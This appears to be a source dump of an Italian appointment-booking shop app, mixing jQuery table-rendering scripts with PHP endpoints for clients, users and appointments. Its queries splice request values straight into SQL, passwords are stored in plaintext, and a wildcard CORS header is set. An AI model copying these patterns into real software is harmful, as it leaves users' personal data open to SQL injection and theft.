html=html+"<td><a style=\"color: blue;\" name=\"appointment_window\""+">Fissa un appuntamento</a></td>";
html=html+"<td><button class=\"btn btn-sm btn-primary\" name=\"edit-client\"><i class=\"fa fa-pencil\">";
if(result[tablerowindex]['apnt_status'].toUpperCase()=='CONFIRMED'||result[tablerowindex]['apnt_status'].toUpperCase()=='BOOKED'){
html=html+"<td style=\"color:green\">"+result[tablerowindex]['phone_no']+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='DELETED'){
html=html+"<td style=\"color:red\">"+result[tablerowindex]['phone_no']+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='POSTPONED'){
html=html+"<td style=\"color:orange\">"+result[tablerowindex]['phone_no']+"</td>";
}
html=html+"</tr>";
$('tbody').append(html);
tablerowindex++;
});
}else{
}
},
cache: false,
contentType: false,
processData: false
});
});
</script>
<script>
var date = new Date();
var day = date.getDate();
var monthIndex = date.getMonth()+1;
var year = date.getFullYear();
var fulldate=year+"-"+monthIndex+"-"+day;
$("#appointment_date").val(fulldate);
$.ajax({
url: '../php/get-appointment-details.php',
type: 'POST',
async: false,
success: function(data) {
console.log(data);
var finaldata=JSON.parse(data);
console.log("operation value is"+finaldata.OPERATION) ;
if(finaldata.OPERATION==0){
var result=finaldata.SEARCH_REASULT;
var tablerowindex=0;
$.each(result,function(){
var html="<tr>";
html=html+"<td>"+result[tablerowindex]['first_name']+"<input type=\"hidden\" id=\"user_id\" value=\""+result[tablerowindex]['user_id']+"\""+"/>"+"</td>";
html=html+"<td>"+result[tablerowindex]['last_name']+"<input type=\"hidden\" id=\"\" value=\""+result[tablerowindex]['email']+"\""+"/>"+"<input type=\"hidden\" id=\"user_id\" value=\""+result[tablerowindex]['appnt_id']+"\""+"/>"+"</td>";
html=html+"<td>"+result[tablerowindex]['apnt_time']+"</td>";
if(result[tablerowindex]['apnt_status'].toUpperCase()=='CONFIRMED'||result[tablerowindex]['apnt_status'].toUpperCase()=='BOOKED'){
var confirmeddata="<a href=\"#\" style=\"color:green;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:green'>CONFERMATO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:red;font-weight:bold;text-align:center'>CONFERMA L'APPUNTAMENTO</a>\">CONFERMATO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='DELETED'){
var confirmeddata="<a href=\"#\" style=\"color:red;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:red'>DISDETTO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:green;font-weight:bold;text-align:center'>DISDICI L'APPUNTAMENTO</a>\">DISDETTO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='POSTPONED'){
var confirmeddata="<a href=\"#\" style=\"color:orange;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:orange'>SPOSTATO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:green;font-weight:bold;text-align:center'>CONFERMA L'APPUNTAMENTO</a>\">SPOSTATO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
html=html+"<td><a style=\"color: blue;\" name=\"appointment_window\""+">Fissa un appuntamento</a></td>";
html=html+"<td><button class=\"btn btn-sm btn-primary\" name=\"edit-client\"><i class=\"fa fa-pencil\">";
if(result[tablerowindex]['apnt_status'].toUpperCase()=='CONFIRMED'||result[tablerowindex]['apnt_status'].toUpperCase()=='BOOKED'){
html=html+"<td style=\"color:green\">"+result[tablerowindex]['phone_no']+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='DELETED'){
html=html+"<td style=\"color:red\">"+result[tablerowindex]['phone_no']+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='POSTPONED'){
html=html+"<td style=\"color:orange\">"+result[tablerowindex]['phone_no']+"</td>";
}
html=html+"</tr>";
$('tbody').append(html);
tablerowindex++;
});
}else{
}
},
cache: false,
contentType: false,
processData: false
});
</script>
<script>
$(document).on('click','[name=appointment_status_change_link]',function(){
var $row = $(this).closest("tr"),
$tds = $row.find("td");
$inputfields=$row.find("input");
var tabledata=[];
var inputfieldvalues=[];
var inputindex=0;
var index=0;
$.each($tds, function() {
tabledata[index]=$(this).text();
index++;
});
$.each($inputfields,function(){
inputfieldvalues[inputindex]=$(this).val();
inputindex++;
});
var userid=inputfieldvalues[0];
var appointment_id=inputfieldvalues[2];
var shop_id=$('#shop_id').val();
var status=tabledata[3];
status=status.split(' ')[0];
var search_option=$('#search_option').val();
var search_value=$('#searchvalue').val();
var appointment_date=$('#appointment_date').val();
$.post({
url: '../php/update-appointment-status.php',
type: 'POST',
data:{
user_id:userid,
appointment_id:appointment_id,
shop_id:shop_id,
status:status,
search_option:search_option,
search_value:search_value,
appointment_date:appointment_date
},
success:function(data){
console.log(data);
var finaldata=JSON.parse(data);
console.log("operation value is"+finaldata.OPERATION) ;
if(finaldata.OPERATION==0){
var result=finaldata.SEARCH_REASULT;
var tablerowindex=0;
$('tbody tr').remove();
$.each(result,function(){
var html="<tr>";
html=html+"<td>"+result[tablerowindex]['first_name']+"<input type=\"hidden\" id=\"user_id\" value=\""+result[tablerowindex]['user_id']+"\""+"/>"+"</td>";
html=html+"<td>"+result[tablerowindex]['last_name']+"<input type=\"hidden\" id=\"\" value=\""+result[tablerowindex]['email']+"\""+"/>"+"<input type=\"hidden\" id=\"user_id\" value=\""+result[tablerowindex]['appnt_id']+"\""+"/>"+"</td>";
html=html+"<td>"+result[tablerowindex]['apnt_time']+"</td>";
if(result[tablerowindex]['apnt_status'].toUpperCase()=='CONFIRMED'||result[tablerowindex]['apnt_status'].toUpperCase()=='BOOKED'){
var confirmeddata="<a href=\"#\" style=\"color:green;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:green'>CONFERMATO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:red;font-weight:bold;text-align:center'>CONFERMA L'APPUNTAMENTO</a>\">CONFERMATO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='DELETED'){
var confirmeddata="<a href=\"#\" style=\"color:red;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:red'>DISDETTO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:green;font-weight:bold;text-align:center'>DISDICI L'APPUNTAMENTO</a>\">DISDETTO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='POSTPONED'){
var confirmeddata="<a href=\"#\" style=\"color:orange;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:orange'>SPOSTATO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:green;font-weight:bold;text-align:center'>CONFERMA L'APPUNTAMENTO</a>\">SPOSTATO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
html=html+"<td><a style=\"color: blue;\" name=\"appointment_window\""+">Fissa un appuntamento</a></td>";
html=html+"<td><button class=\"btn btn-sm btn-primary\" name=\"edit-client\"><i class=\"fa fa-pencil\">";
if(result[tablerowindex]['apnt_status'].toUpperCase()=='CONFIRMED'||result[tablerowindex]['apnt_status'].toUpperCase()=='BOOKED'){
html=html+"<td style=\"color:green\">"+result[tablerowindex]['phone_no']+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='DELETED'){
html=html+"<td style=\"color:red\">"+result[tablerowindex]['phone_no']+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='POSTPONED'){
html=html+"<td style=\"color:orange\">"+result[tablerowindex]['phone_no']+"</td>";
}
html=html+"</tr>";
$('tbody').append(html);
tablerowindex++;
});
}else{
}
}
});
});
</script>
<script>
$(document).on('click','[name=edit-client]',function(){
var $row = $(this).closest("tr"),
$tds = $row.find("td");
var tabledata=[];
var inputfieldvalues=[];
var index=0;
$.each($tds, function() {
tabledata[index]=$(this).text();
index++;
});
$inputfields=$row.find("input");
var inputindex=0;
$.each($inputfields,function(){
inputfieldvalues[inputindex]=$(this).val();
inputindex++;
}) ;
var name=tabledata[0];
var surname=tabledata[1];
var telephone=tabledata[6];
var userid=inputfieldvalues[0];
var email=inputfieldvalues[1];
window.location="update-client.php?client_name="+name+"&client_surname="+surname+"&client_telephone="+telephone+"&user_id="+userid+"&email="+email;
});
</script>
<script>
$(document).on('click','[name=appointment_window]',function(){
var $row = $(this).closest("tr"),
$tds = $row.find("td");
var tabledata=[];
var inputfieldvalues=[]
var index=0;
$.each($tds, function() {
tabledata[index]=$(this).text();
index++;
});
$inputfields=$row.find("input");
var inputindex=0;
$.each($inputfields,function(){
inputfieldvalues[inputindex]=$(this).val();
inputindex++;
})
$('#appointment_name').text(tabledata[0]);
$('#appointment_surname').text(tabledata[1]);
$('#appointment_hidden_name').val(tabledata[0]);
$('#appointment_hidden_surname').val(tabledata[1]);
$('#appointment_telephone').val(tabledata[6]);
$('#appointment_userid').val(inputfieldvalues[0]);
$('#appointment_email').val(inputfieldvalues[1]);
$("#newappointment").modal();
})
</script>
<script>
$('#addappointment').click(function(){
var isRequiredFieldBlank=false;
if($("input[name='tipo_attivita']").val()==""){
$("#tipo_attivita_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#tipo_attivita_group").hasClass("has-error")){
$("#tipo_attivita_group").removeClass("has-error")
}
}
if($("input[name='seconda_attivita']").val()==""){
$("#seconda_attivita_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#seconda_attivita_group").hasClass("has-error")){
$("#seconda_attivita_group").removeClass("has-error")
}
}
if($("input[name='appointment_end_date']").val()==""){
$("#appointment_end_date_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#appointment_end_date_group").hasClass("has-error")){
$("#appointment_end_date_group").removeClass("has-error")
}
}
if(!isRequiredFieldBlank){
var name=$('#appointment_hidden_name').val();
var lastname=$('#appointment_hidden_surname').val();
var telephone=$('#appointment_telephone').val();
var email=$('#appointment_email').val();
var userid=$('#appointment_userid').val();
var firstlineactivity=$('#tipo_attivita').val();
var secondlineactivity=$('#seconda_attivita').val();
var appointmentenddate=$('#appointment_end_date').val();
var ora1=$('#ora1').val();
var ora2=$('#ora2').val();
var sms_service=$('#sms_service').prop('checked');;
$.post("../php/insert-appointment.php",
{appointment_hidden_name:name,
appointment_hidden_surname:lastname,
appointment_telephone:telephone,
appointment_email:email,
appointment_userid:userid,
tipo_attivita:firstlineactivity,
seconda_attivita:secondlineactivity,
appointment_end_date:appointmentenddate,
ora1:ora1,
ora2:ora2,
sms_service:sms_service
},
function(result){
console.log(result);
var finaldata=JSON.parse(result);
if(finaldata.OPERATION==0){
var userid=finaldata.USER_ID;
$('#appointment_userid').val(userid);
$('#success-appointment').show();
}else{
var error_code=finaldata.VALIDATION_ERROR;
$('#success-appointment').hide();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error-appointment');
$('#error-appointment').show();
}
});
}
});
</script>
<script>
$('#addanotherapointment').click(function(){
$('#tipo_attivita').val('');
$('#seconda_attivita').val('');
$('#appointment_end_date').val('');
$('#ora1').val("0");
$('#ora2').val("0");
$('#sms_service').val("on");
$('#success-appointment').hide();
$('#error-appointment').hide();
})
</script>
<script>
var ajax_call = function() {
$.ajax({
url: '../php/get-notification-count.php',
type: 'POST',
async: false,
success:function(data){
// console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.COUNT>0){
$('#notification_count').show();
$('#notification_count').text(finaldata.COUNT);
}else{
$('#notification_count').hide();
}
},
cache: false,
contentType: false,
processData: false
});
};
var interval = 1000 * 60 * 1; // where X is your every X minutes
setInterval(ajax_call, interval);
</script>
</body>
</html>
<file_sep>/php/editMyAccount-app.php
<?php
header('Access-Control-Allow-Origin: *');
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id=stripslashes(htmlspecialchars(trim($_POST['User_id'])));
$user_first_name=stripslashes(htmlspecialchars(trim($_POST['User_First_Name'])));
$user_last_name=stripslashes(htmlspecialchars(trim($_POST['User_Last_Name'])));
$user_login_mobile_no=stripslashes(htmlspecialchars(trim($_POST['User_Login_Mobile_No'])));
$user_email_id1=stripslashes(htmlspecialchars(trim($_POST['User_email_id1'])));
editUser($user_id,$user_first_name,$user_last_name,$user_login_mobile_no,$user_email_id1,$language);
echo json_encode(['OPERATION'=>0]);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'IMAGE_URL'=>'NA','VALIDATION_ERROR'=>$e->getMessage()]);
}
function editUser($user_id,$user_first_name,$user_last_name,$user_login_mobile_no,$user_email_id1,$language)
{
try{
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql = "update User_Details set User_First_Name='$user_first_name',User_Last_Name='$user_last_name',User_Login_Mobile_No='$user_login_mobile_no',User_email_id1='$user_email_id1' where user_id=$user_id";
$result = mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/delete_appoinment.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$appointment_id = $_POST['appointment_id'];
deleteAppoinment($appointment_id);
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function deleteAppoinment($appointment_id){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update Client_Shop_Apnt set user_apnt_status = 'DELETED' , update_date = CURRENT_TIMESTAMP where appointment_id = $appointment_id";
$result=mysqli_query($conn,$sql);
echo json_encode(['OPERATION'=>1]);
if(!$result){
throw new Exception("Database error::$sql");
}
} catch(Exception $e){
throw $e;
}
}
?><file_sep>/php/add-client.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$name=stripslashes(htmlspecialchars(trim($_POST['name'])));
$surname=stripslashes(htmlspecialchars(trim($_POST['lastname'])));
$telephone=stripslashes(htmlspecialchars(trim($_POST['telephone'])));
$email=stripslashes(htmlspecialchars(trim($_POST['email'])));
$userid=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$action=stripslashes(htmlspecialchars(trim($_POST['action'])));
$shopid=$_SESSION['shopid'];
if(empty($name)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","name",$validation_msg);
throw new Exception($final_message);
}
if(empty($surname)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","surname",$validation_msg);
throw new Exception($final_message);
}
if(empty($telephone)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","telephone",$validation_msg);
throw new Exception($final_message);
}
if(empty($email)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","email",$validation_msg);
throw new Exception($final_message);
}
if(strlen($name)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","name",$validation);
throw new Exception($final_message);
}
if(strlen($surname)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","surname",$validation);
throw new Exception($final_message);
}
if(strlen($telephone)>20){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","telephone",$validation);
throw new Exception($final_message);
}
if(strlen($email)>20){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","email",$validation);
throw new Exception($final_message);
}
// $userid_tocheck=checkIfUserIdMatchesWithSuppliedDetails($name,$surname,$telephone,$email);
//if($userid!=$userid_tocheck){
// $userid=trim('');
//}
$isUserAssociatedWithTheShop=false;
$isSMSUserAssociatedWithTheShop=false;
//FOR APP USER
if(!empty($userid)){
$isUserAssociatedWithTheShop=checkIfUserDataIsAlreadyAssociated($shopid,$userid);
if(!$isUserAssociatedWithTheShop){
linkUserWithShop($userid,$shopid);
}else{
throw new Exception(USER_ALREADY_ASSOCIATED);
}
}
//For SMS_USER
if(empty($userid)){
$isSMSUserIsAlreadyAssociatedWithTheShop=checkIfSMSUserIsAlreadyAssociatedWithTheShop($name,$surname,$telephone,$email,$shopid);
if(!$isSMSUserIsAlreadyAssociatedWithTheShop){
insertSMSUser($name,$surname,$telephone,$email,$shopid);
}else{
throw new Exception(USER_ALREADY_ASSOCIATED);
}
}
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function checkIfSMSUserIsAlreadyAssociatedWithTheShop($name,$surname,$telephone,$email,$shopid){
try{
$isUserAssociated=false;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) user_count from $dbname.User_Details x,$dbname.User_Shop_Map x1 where x.user_id=x1.user_id and x.user_first_name='$name' and x.user_last_name='$surname' and x.user_login_mobile_no='$telephone' and x.user_email_id1='$email' and x1.shop_id=$shopid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$user_count=$row['user_count'];
if($user_count==1){
$isUserAssociated=true;
}
}
mysqli_close($conn);
return $isUserAssociated;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertSMSUser($name,$surname,$telephone,$email,$shopid){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.Login (login_username,login_password,login_mobile_no,login_type,client_login_type) value('$telephone','$telephone','NA','NA','SMS_USER')";
$result=mysqli_query($conn,$sql);
if($result){
$loginId=mysqli_insert_id($conn);
insertSMSUserDetails($name,$surname,$telephone,$email,$shopid,$loginId);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertSMSUserDetails($name,$surname,$telephone,$email,$shopid,$loginId){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.User_Details (user_login_id,user_first_name,user_last_name,user_qr_code,user_login_mobile_no,user_alt_contact2,user_email_id1,User_Status) value($loginId,'$name','$surname','NA','$telephone','NA','$email','NA')";
$result=mysqli_query($conn,$sql);
if($result){
$userid=mysqli_insert_id($conn);
linkUserWithShop($userid,$shopid);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function checkIfUserDataIsAlreadyAssociated($shopid,$userid){
try{
$isUserAssociated=false;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) user_shop_map_count from $dbname.User_Shop_Map where shop_id=$shopid and user_id=$userid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$user_count=$row['user_shop_map_count'];
if($user_count==1){
$isUserAssociated=true;
}
}
mysqli_close($conn);
return $isUserAssociated;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function linkUserWithShop($userid,$shopid){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.User_Shop_Map (shop_id,user_id,user_active_flag,is_shop_fav_flag) value($shopid,$userid,'Y','N')";
$result=mysqli_query($conn,$sql);
if($result){
updateUserStatus($userid,$conn,$dbname);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateUserStatus($userid,$conn,$dbname){
try{
$sql="update $dbname.User_Details set user_status='Connected',update_date=now() where user_id=$userid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
}catch(Exception $e){
throw $e;
}
}
function checkIfUserIdMatchesWithSuppliedDetails($name,$surname,$telephone,$email){
try{
$userid=-1;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select x.user_id user_id from $dbname.User_Details x where x.user_first_name='$name' and x.user_last_name='$surname' and x.user_login_mobile_no='$telephone' and x.user_email_id1='$email'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$user_id=$row['user_id'];
}
mysqli_close($conn);
return $userid;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/update-appointment-status.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$appointment_id=stripslashes(htmlspecialchars(trim($_POST['appointment_id'])));
$shop_id=stripslashes(htmlspecialchars(trim($_POST['shop_id'])));
$status=stripslashes(htmlspecialchars(trim($_POST['status'])));
if(isset($_POST['search_option'])){
$search_option=stripslashes(htmlspecialchars(trim($_POST['search_option'])));
}
if(isset($_POST['search_value'])){
$search_value=stripslashes(htmlspecialchars(trim($_POST['search_value'])));
}
$appointment_date=stripslashes(htmlspecialchars(trim($_POST['appointment_date'])));
updateAppointmentStatus($user_id,$appointment_id,$shop_id,$status);
$appointmentDetails=getUpdatedAppointmentDetails($search_option,$search_value,$appointment_date,$shop_id);
echo json_encode(['OPERATION'=>0,'SEARCH_REASULT'=>$appointmentDetails,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function getUpdatedAppointmentDetails($search_option,$searchvalue,$appointment_date,$shopid){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$appointmentDetails=array();
$sql="select x1.User_ID user_id,x1.User_First_Name first_name,x1.User_Last_Name last_name,x.User_Apnt_Time apnt_time,x.User_Apnt_Status apnt_status,x1.User_Login_Mobile_No phone_no,x1.User_email_id1 email,x.Appointment_ID appnt_id from $dbname.Client_Shop_Apnt x,$dbname.User_Details x1 where x.Shop_ID=$shopid and x.User_ID=x1.User_ID";
if(!empty($searchvalue)){
if($search_option=='Name'){
$sql=$sql." and x1.User_First_Name='$searchvalue'";
}
if($search_option=='Cognome'){
$sql=$sql." and x1.User_Last_Name='$searchvalue'";
}
}
$sql=$sql." and x.User_Apnt_Dt='$appointment_date' and x.user_apnt_status in('CONFIRMED','POSTPONED','DELETED','BOOKED') order by x.User_Apnt_Time";
//echo $sql;
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
while($row=mysqli_fetch_array($result)){
$appointmentDetails[]=$row;
}
}
mysqli_close($conn);
return $appointmentDetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateAppointmentStatus($user_id,$appointment_id,$shop_id,$status){
try{
$dbname = DATABASE_NAME;
$updatedStatus="";
if($status=='CONFERMATO'){
$updatedStatus="DELETED";
}else{
$updatedStatus="CONFIRMED";
}
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update $dbname.Client_Shop_Apnt set User_Apnt_Status='$updatedStatus' where Appointment_ID=$appointment_id and User_ID=$user_id and Shop_iD=$shop_id;";
$result=mysqli_query($conn,$sql);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/get-appointment-details.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$search_option="";
$searchvalue="";
$appointment_date="";
if(isset($_POST['search_option'])) {
$search_option=stripslashes(htmlspecialchars(trim($_POST['search_option'])));
}
if(isset($_POST['searchvalue'])) {
$searchvalue=stripslashes(htmlspecialchars(trim($_POST['searchvalue'])));
}
if(isset($_POST['appointment_date'])) {
$appointment_date=stripslashes(htmlspecialchars(trim($_POST['appointment_date'])));
}else{
$appointment_date=date("Y-m-d");
}
$shopid=$_SESSION['shopid'];
$appointmentDetails=getAppointmentDetails($search_option,$searchvalue,$appointment_date,$shopid);
echo json_encode(['OPERATION'=>0,'SEARCH_REASULT'=>$appointmentDetails,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]) ;
}
function getAppointmentDetails($search_option,$searchvalue,$appointment_date,$shopid){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$appointmentDetails=array();
$sql="select x1.User_ID user_id,x1.User_First_Name first_name,x1.User_Last_Name last_name,x.User_Apnt_Time apnt_time,x.User_Apnt_Status apnt_status,x1.User_Login_Mobile_No phone_no,x1.User_email_id1 email,x.Appointment_ID appnt_id from $dbname.Client_Shop_Apnt x,$dbname.User_Details x1 where x.Shop_ID=$shopid and x.User_ID=x1.User_ID";
if(!empty($searchvalue)){
if($search_option=='Name'){
$sql=$sql." and x1.User_First_Name='$searchvalue'";
}
if($search_option=='Cognome'){
$sql=$sql." and x1.User_Last_Name='$searchvalue'";
}
}
$sql=$sql." and x.User_Apnt_Dt='$appointment_date' and x.user_apnt_status in('CONFIRMED','POSTPONED','DELETED','BOOKED') order by x.User_Apnt_Time";
//echo $sql;
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
while($row=mysqli_fetch_array($result)){
$appointmentDetails[]=$row;
}
}
mysqli_close($conn);
return $appointmentDetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/update-shop.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$shop_id=stripslashes(htmlspecialchars(trim($_POST['shop_id'])));
$shop_login_id=stripslashes(htmlspecialchars(trim($_POST['shop_login_id'])));
$username=stripslashes(htmlspecialchars(trim($_POST['username'])));
$password=stripslashes(htmlspecialchars(trim($_POST['password'])));
$shop_name=stripslashes(htmlspecialchars(trim($_POST['shop_name'])));
$shop_name_2=stripslashes(htmlspecialchars(trim($_POST['shop_name_2'])));
$address=stripslashes(htmlspecialchars(trim($_POST['address'])));
$city=stripslashes(htmlspecialchars(trim($_POST['city'])));
$phone=stripslashes(htmlspecialchars(trim($_POST['phone'])));
$webpage=stripslashes(htmlspecialchars(trim($_POST['webpage'])));
$facebook_page=stripslashes(htmlspecialchars(trim($_POST['facebook_page'])));
